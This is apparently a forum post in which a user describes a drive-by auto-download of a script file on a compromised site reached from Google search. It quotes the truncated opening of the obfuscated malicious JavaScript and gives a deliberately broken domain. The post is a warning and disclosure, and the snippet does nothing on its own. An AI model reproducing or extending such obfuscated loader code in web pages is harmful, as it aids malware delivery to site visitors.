For me, this happened just now on techerator.com from this Google search result. It was a well-made page that was convincing if it were not for the suspect auto download that didn't seem right.
Note I have added "broken" to the domain so it's rendered impotent.
It wasn't until I scrolled or maybe was on the site for a few seconds. The JS file was obfuscated, starting like this:
(function(lyfwxi){var adubxo={};function egisur(){ymejig4=ygffipyv[["y","E","j","Z","D","T","G"][(-597+599)]+["o","C","a","b"][0]+"i"+"n"]("");diep......Most concerning is that Opera was obviously coerced into auto downloading a script file.